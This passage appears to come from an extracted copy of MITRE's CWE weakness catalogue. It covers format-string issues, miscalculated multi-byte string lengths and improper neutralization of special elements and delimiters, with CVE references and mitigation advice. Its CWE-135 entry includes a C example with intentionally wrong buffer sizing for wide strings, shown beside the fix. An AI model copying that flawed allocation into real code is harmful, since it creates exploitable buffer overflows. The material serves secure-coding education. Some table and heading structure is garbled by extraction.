</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td>630</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>635</td>
<td>Weaknesses Used by NVD</td>
<td>635</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Research Gaps

Format string issues are under-studied for languages other than C. Memory or disk consumption, control flow or variable alteration, and data corruption may result from format string exploitation in applications written in other languages such as Perl, PHP, Python, etc.

Affected Resources

- Memory

Functional Areas

- logging
- errors
- general output

Causal Nature

Implicit

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Format string vulnerability</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td>Format String</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
<td>Format string problem</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO30-C</td>
<td>Exact</td>
<td>Exclude user input from format strings</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A1</td>
<td>CWE More Specific</td>
<td>Unvalidated Input</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO30-C</td>
<td></td>
<td>Exclude user input from format strings</td>
</tr>
<tr>
<td>WASC</td>
<td>6</td>
<td></td>
<td>Format String</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>IDS06-J</td>
<td></td>
<td>Exclude user input from format strings</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO30-CPP</td>
<td></td>
<td>Exclude user input from format strings</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>67</td>
<td>String Format Overflow in syslog()</td>
<td></td>
</tr>
<tr>
<td>135</td>
<td>Format String Injection</td>
<td></td>
</tr>
</tbody>
</table>

White Box Definitions

A weakness where the code path has:

1. start statement that accepts input
2. end statement that passes a format string to format string function where
   a. the input data is part of the format string and
   b. the format string is undesirable

Where "undesirable" is defined through the following scenarios:
1. not validated
2. incorrectly validated

References

CWE-135: Incorrect Calculation of Multi-Byte String Length

<table>
<thead>
<tr>
<th>Weakness ID:</th>
<th>135 (Weakness Base)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Status:</td>
<td>Draft</td>
</tr>
</tbody>
</table>

**Description**

**Summary**
The software does not correctly calculate the length of strings that can contain wide or multi-byte characters.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- C
- C++

**Common Consequences**

**Integrity**
**Confidentiality**
**Availability**

**Execute unauthorized code or commands**
This weakness may lead to a buffer overflow. Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

**Availability**

**Confidentiality**

**Read memory**

**DoS: crash / exit / restart**

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**
Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Confidentiality
Read memory
In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

Enabling Factors for Exploitation
There are several ways in which improper string length checking may result in an exploitable condition. All of these, however, involve the introduction of buffer overflow conditions in order to reach an exploitable state.

The first of these issues takes place when the output of a wide or multi-byte character string, string-length function is used as a size for the allocation of memory. While this will result in an output of the number of characters in the string, note that the characters are most likely not a single byte, as they are with standard character strings. So, using the size returned as the size sent to new or malloc and copying the string to this newly allocated memory will result in a buffer overflow.

Another common way these strings are misused involves the mixing of standard string and wide or multi-byte string functions on a single string. Invariably, this mismatched information will result in the creation of a possibly exploitable buffer overflow condition.

Demonstrative Examples
The following example would be exploitable if any of the commented incorrect malloc calls were used.

C Example:  
#include <stdio.h>  
#include <strings.h>  
#include <wchar.h>  
int main() {  
  wchar_t wideString[] = L"The spazzy orange tiger jumped " \  
  "over the tawny jaguar.";  
  wchar_t *newString;  
  printf("Strlen() output: %d\nWcslen() output: %d\n",  
    strlen(wideString), wcslen(wideString));  
  /* Wrong because the number of chars in a string isn't related to its length in bytes //  
    newString = (wchar_t *) malloc(strlen(wideString));  
  */  
  /* Wrong because wide characters aren't 1 byte long! //  
    newString = (wchar_t *) malloc(wcslen(wideString));  
  */  
  /* Wrong because wcslen does not include the terminating null */  
  newString = (wchar_t *) malloc(wcslen(wideString) * sizeof(wchar_t));  
  /* correct */  
  newString = (wchar_t *) malloc((wcslen(wideString) + 1) * sizeof(wchar_t));  
  /*... */  
}

The output from the printf() statement would be:

| Strlen() output: 0 |
| Wcslen() output: 53 |

Potential Mitigations
Implementation
Input Validation
Always verify the length of the string unit character.

Implementation
Libraries or Frameworks
Use length computing functions (e.g. strlen, wcslen, etc.) appropriately with their equivalent type (e.g.: byte, wchar_t, etc.)

Relationships
CWE Version 2.11
CWE-136: Type Errors

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>133</td>
<td>String Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>741</td>
<td>CERT C Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>974</td>
<td>SFP Secondary Cluster: Incorrect Buffer Length Computation</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Improper string length checking</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>STR33-C</td>
<td>Size wide character strings correctly</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>FIO10-J</td>
<td>Ensure the array is filled when using read() to fill an array</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP10</td>
<td>Incorrect Buffer Length Computation</td>
</tr>
</tbody>
</table>

References


CWE-136: Type Errors

Category ID: 136 (Category)  Status: Draft

Description

Summary

Weaknesses in this category are caused by improper data type transformation or improper handling of multiple data types.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>19</td>
<td>Data Processing Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>681</td>
<td></td>
<td>Incorrect Conversion between Numeric Types</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>704</td>
<td></td>
<td>Incorrect Type Conversion or Cast</td>
<td>699</td>
</tr>
</tbody>
</table>

CWE-137: Representation Errors

Category ID: 137 (Category)  Status: Draft

Description

Summary

Weaknesses in this category are introduced when inserting or converting data from one representation into another.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>19</td>
<td>Data Processing Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>138</td>
<td></td>
<td>Improper Neutralization of Special Elements</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>171</td>
<td></td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>188</td>
<td></td>
<td>Reliance on Data/Memory Layout</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>228</td>
<td></td>
<td>Improper Handling of Syntactically Invalid Structure</td>
<td>699</td>
</tr>
</tbody>
</table>

CWE-138: Improper Neutralization of Special Elements

Weakness ID: 138 (Weakness Class)  Status: Draft

Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control elements or syntactic markers when they are sent to a downstream component.

**Extended Description**

Most languages and protocols have their own special elements such as characters and reserved words. These special elements can carry control implications. If software does not prevent external control or influence over the inclusion of such special elements, the control flow of the program may be altered from what was intended. For example, both Unix and Windows interpret the symbol `<` ("less than") as meaning "read input from a file".

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

- Confidentiality
- Integrity
- Availability
- Other
- Execute unauthorized code or commands
- Alter execution logic
- DoS: crash / exit / restart

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0703</td>
<td>Setuid program does not cleanse special escape sequence before sending data to a mail program, causing the mail program to process those sequences.</td>
</tr>
<tr>
<td>CVE-2001-0677</td>
<td>Read arbitrary files from mail client by providing a special MIME header that is internally used to store pathnames for attachments.</td>
</tr>
<tr>
<td>CVE-2003-0020</td>
<td>Multi-channel issue. Terminal escape sequences not filtered from log files.</td>
</tr>
<tr>
<td>CVE-2003-0083</td>
<td>Multi-channel issue. Terminal escape sequences not filtered from log files.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Developers should anticipate that special elements (e.g. delimiters, symbols) will be injected into input vectors of their software system. One defense is to create a whitelist (e.g. a regular expression) that defines valid input according to the requirements specifications. Strictly filter any input that does not match against the whitelist. Properly encode your output, and quote any elements that have special meaning to the component with which you are communicating.

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
### Implementation
Use and specify an appropriate output encoding to ensure that the special elements are well-defined. A normal byte sequence in one encoding could be a special element in another.

### Implementation
#### Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Weakness Ordinalities
**Primary** *(where the weakness exists independent of other weaknesses)*

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>137</td>
<td>Representation Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>707</td>
<td>Improper Enforcement of Message or Data Structure</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>140</td>
<td>Improper Neutralization of Delimiters</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>147</td>
<td>Improper Neutralization of Input Terminators</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>148</td>
<td>Improper Neutralization of Input Leaders</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>149</td>
<td>Improper Neutralization of Quoting Syntax</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>150</td>
<td>Improper Neutralization of Escape, Meta, or Control Sequences</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>151</td>
<td>Improper Neutralization of Comment Delimiters</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>152</td>
<td>Improper Neutralization of Macro Symbols</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>153</td>
<td>Improper Neutralization of Substitution Characters</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>154</td>
<td>Improper Neutralization of Variable Name Delimiters</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>155</td>
<td>Improper Neutralization of Wildcards or Matching Symbols</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>156</td>
<td>Improper Neutralization of Whitespace</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>157</td>
<td>Failure to Sanitize Paired Delimiters</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>158</td>
<td>Improper Neutralization of Null Byte or NUL Character</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>159</td>
<td>Failure to Sanitize Special Element</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>169</td>
<td>Technology-Specific Special Elements</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>464</td>
<td>Addition of Data Structure Sentinel</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>790</td>
<td>Improper Filtering of Special Elements</td>
<td>699</td>
</tr>
</tbody>
</table>

### Relationship Notes
This weakness can be related to interpretation conflicts or interaction errors in intermediaries (such as proxies or application firewalls) when the intermediary's model of an endpoint does not account for protocol-specific special elements.
See this entry's children for different types of special elements that have been observed at one point or another. However, it can be difficult to find suitable CVE examples. In an attempt to be complete, CWE includes some types that do not have any associated observed example.

**Research Gaps**

This weakness is probably under-studied for proprietary or custom formats. It is likely that these issues are fairly common in applications that use their own custom format for configuration files, logs, meta-data, messaging, etc. They would only be found by accident or with a focused effort based on an understanding of the format.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Special Elements (Characters or Reserved Words)</td>
</tr>
<tr>
<td>PLOVER</td>
<td></td>
<td>Custom Special Character Injection</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>15</td>
<td>Command Delimiters</td>
</tr>
</tbody>
</table>

---

**CWE-139: DEPRECATED: General Special Element Problems**

<table>
<thead>
<tr>
<th>Category ID: 139 <em>(Deprecated Category)</em></th>
<th>Status: Deprecated</th>
</tr>
</thead>
</table>

**Description**

**Summary**

This entry has been deprecated. It is a leftover from PLOVER, but CWE-138 is a more appropriate mapping.

---

**CWE-140: Improper Neutralization of Delimiters**

<table>
<thead>
<tr>
<th>Weakness ID: 140 <em>(Weakness Base)</em></th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

**Description**

**Summary**

The software does not neutralize or incorrectly neutralizes delimiters.

**Time of Introduction**

- Implementation

**Common Consequences**

- Integrity
- Unexpected state

**Potential Mitigations**

- Implementation
- Input Validation

Developers should anticipate that delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>141</td>
<td>Improper Neutralization of Parameter/Argument Delimiters</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>142</td>
<td>Improper Neutralization of Value Delimiters</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>143</td>
<td>Improper Neutralization of Record Delimiters</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>144</td>
<td>Improper Neutralization of Line Delimiters</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>145</td>
<td>Improper Neutralization of Section Delimiters</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>146</td>
<td>Improper Neutralization of Expression/Command Delimiters</td>
<td>699</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Delimiter Problems</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>15</td>
<td>Command Delimiters</td>
<td></td>
</tr>
</tbody>
</table>
CWE-141: Improper Neutralization of Parameter/Argument Delimiters

**Weakness ID:** 141 *(Weakness Variant)*  
**Status:** Draft

**Description**

**Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as parameter or argument delimiters when they are sent to a downstream component.

**Extended Description**

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

**Time of Introduction**

- Implementation

**Applicable Platforms**

- Languages
  - All

**Common Consequences**

- Integrity
- Unexpected state

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
</table>
| CVE-2003-0307 | Attacker inserts field separator into input to specify admin privileges.

**Potential Mitigations**

Developers should anticipate that parameter/argument delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>140</td>
<td>Improper Neutralization of Delimiters</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td>☐</td>
<td>1000</td>
<td></td>
<td>287</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☑</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td>☑</td>
<td>1392</td>
<td></td>
<td>1392</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Parameter Delimiter</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

References


CWE-142: Improper Neutralization of Value Delimiters

Weakness ID: 142 (Weakness Variant) Status: Draft

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as value delimiters when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Time of Introduction

• Implementation

Applicable Platforms

Languages

• All

Common Consequences

Integrity

Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0293</td>
<td>Multiple internal space, insufficient quoting - program does not use proper delimiter between values.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Developers should anticipate that value delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.
Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>140</td>
<td>Improper Neutralization of Delimiters</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Value Delimiter</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

References

Time of Introduction
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity

Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0527</td>
<td>Attacker inserts carriage returns and &quot;</td>
</tr>
<tr>
<td>CVE-2004-1982</td>
<td>Carriage returns in subject field allow adding new records to data file.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Developers should anticipate that record delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>ChildOf</td>
<td>140</td>
<td>Improper Neutralization of Delimiters</td>
<td>699 287</td>
</tr>
<tr>
<td>ChildOf</td>
<td>ChildOf</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888 1392</td>
</tr>
</tbody>
</table>

Taxonomy Mappings
CWE Version 2.11

CWE-144: Improper Neutralization of Line Delimiters

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Record Delimiter</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

References

CWE-144: Improper Neutralization of Line Delimiters

Weakness ID: 144 (Weakness Variant) Status: Draft

Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as line delimiters when they are sent to a downstream component.

Extended Description
As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
- Integrity
- Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0267</td>
